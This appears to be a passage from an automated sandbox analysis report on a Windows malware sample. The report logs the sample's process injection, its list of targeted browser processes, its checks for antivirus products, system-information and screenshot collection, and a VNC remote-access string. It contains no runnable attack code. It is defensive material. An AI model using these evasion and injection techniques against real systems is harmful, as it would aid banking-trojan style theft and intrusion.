    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23D2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2425000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2160000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2161000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2162000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 21B5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3120000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3121000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3122000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3175000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2060000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2061000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2062000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 20B5000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29B0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29B1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29B2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A05000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29F0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29F1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29F2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A45000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2780000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2781000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2782000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 27D5000Jump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_027078A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex6_2_00B278A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex9_2_026B78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex13_2_022D78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex16_2_010B78A0
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile opened: CA HIPS KmxAgentJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile opened: Agnitum Outpost firewal \pipe\acsipc_serverJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile opened: Webroot PREVX C:\ProgramData\PrevxCSI\csidb.csiJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile opened: AVG C:\Program Files (x86)\AVG\AVG9\dfncfg.datJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeWindow found: AVP NULL ____AVP.RootJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened: CA HIPS KmxAgentJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened: Agnitum Outpost firewal \pipe\acsipc_serverJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened: Webroot PREVX C:\ProgramData\PrevxCSI\csidb.csiJump to behavior
    Source: C:\Windows\apppatch\svchost.exeFile opened: AVG C:\Program Files (x86)\AVG\AVG9\dfncfg.datJump to behavior
    Source: C:\Windows\apppatch\svchost.exeWindow found: AVP NULL ____AVP.RootJump to behavior
    Source: 1fWgBXPgiT.exe, 1fWgBXPgiT.exe, 00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmp, 1fWgBXPgiT.exe, 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, svchost.exe, 00000001.00000003.2203064620.000000000D200000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000000.2030129506.00000000012E0000.00000002.00000001.00040000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000000.2032311370.0000000000F40000.00000002.00000001.00040000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000009.00000000.2041773383.0000000000E60000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
    Source: 1fWgBXPgiT.exe, 00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmp, 1fWgBXPgiT.exe, 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, svchost.exe, 00000001.00000003.2203064620.000000000D200000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: avast.comkasperskydrwebeset.comantiviraviravirustotalvirusinfoz-oleg.comtrendsecureanti-malware.comodo.comavast.comkasperskydrwebeset.comantiviraviravirustotalvirusinfoz-oleg.comtrendsecureanti-malware.comodo.comgoogle.comgoogle.comDnsapi.dllDnsQuery_ADnsQuery_UTF8DnsQuery_WQuery_Mainws2_32.dllgetaddrinfogethostbynameinet_addrqwrtpsdfghjklzxcvbnmeyuioa1676d5775e05c50b46baa5579d4fc7;%s%sMozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)/login.php6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9100016d3ad29879a90b4dd1b4f76e82166ca3T2data.txt\*.*...\ntdll.dllZwQuerySystemInformationGlobal\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}fuckGlobal\HighMemoryEvent_%08xexplorer.exeShell_TrayWnd
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000000.2030129506.00000000012E0000.00000002.00000001.00040000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000000.2032311370.0000000000F40000.00000002.00000001.00040000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000009.00000000.2041773383.0000000000E60000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000000.2030129506.00000000012E0000.00000002.00000001.00040000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000000.2032311370.0000000000F40000.00000002.00000001.00040000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000009.00000000.2041773383.0000000000E60000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00414050 cpuid 0_2_00414050
    Source: C:\Windows\apppatch\svchost.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDateJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\Users\user\AppData\Roaming\26ee20fa\debug_11;Nov;2024_13;24;59.log VolumeInformationJump to behavior
    Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\Users\user\AppData\Roaming\26ee20fa\scr.bmp VolumeInformationJump to behavior
    Source: C:\Windows\apppatch\svchost.exeQueries volume information: C:\Users\user\AppData\Roaming\26ee20fa\sysinfo.log VolumeInformationJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00402360 CreateFileA,WriteFile,WriteFile,GetSystemTimeAsFileTime,WriteFile,CloseHandle,0_2_00402360
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00403A20 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegCloseKey,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,0_2_00403A20
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F4B00 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,#680,#680,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle,5_2_026F4B00
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_004034C0 GetVersionExA,GetCurrentProcess,OpenProcessToken,GetTokenInformation,CloseHandle,0_2_004034C0
    Source: 1fWgBXPgiT.exeBinary or memory string: S:(ML;;NRNWNX;;;LW)

    Remote Access Functionality

    barindex
    Contains VNC / remote desktop functionality (version string found)
    Source: 1fWgBXPgiT.exeString found in binary or memory: RFB 003.006
    Source: 1fWgBXPgiT.exe, 00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: 1fWgBXPgiT.exe, 00000000.00000003.1664848055.0000000000637000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: 1fWgBXPgiT.exe, 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmpString found in binary or memory: RFB 003.006
    Source: 1fWgBXPgiT.exe, 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmpString found in binary or memory: $BRFB 003.006
    Source: svchost.exe, 00000001.00000003.2203064620.000000000D200000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: svchost.exe, 00000001.00000003.2203064620.000000000D200000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
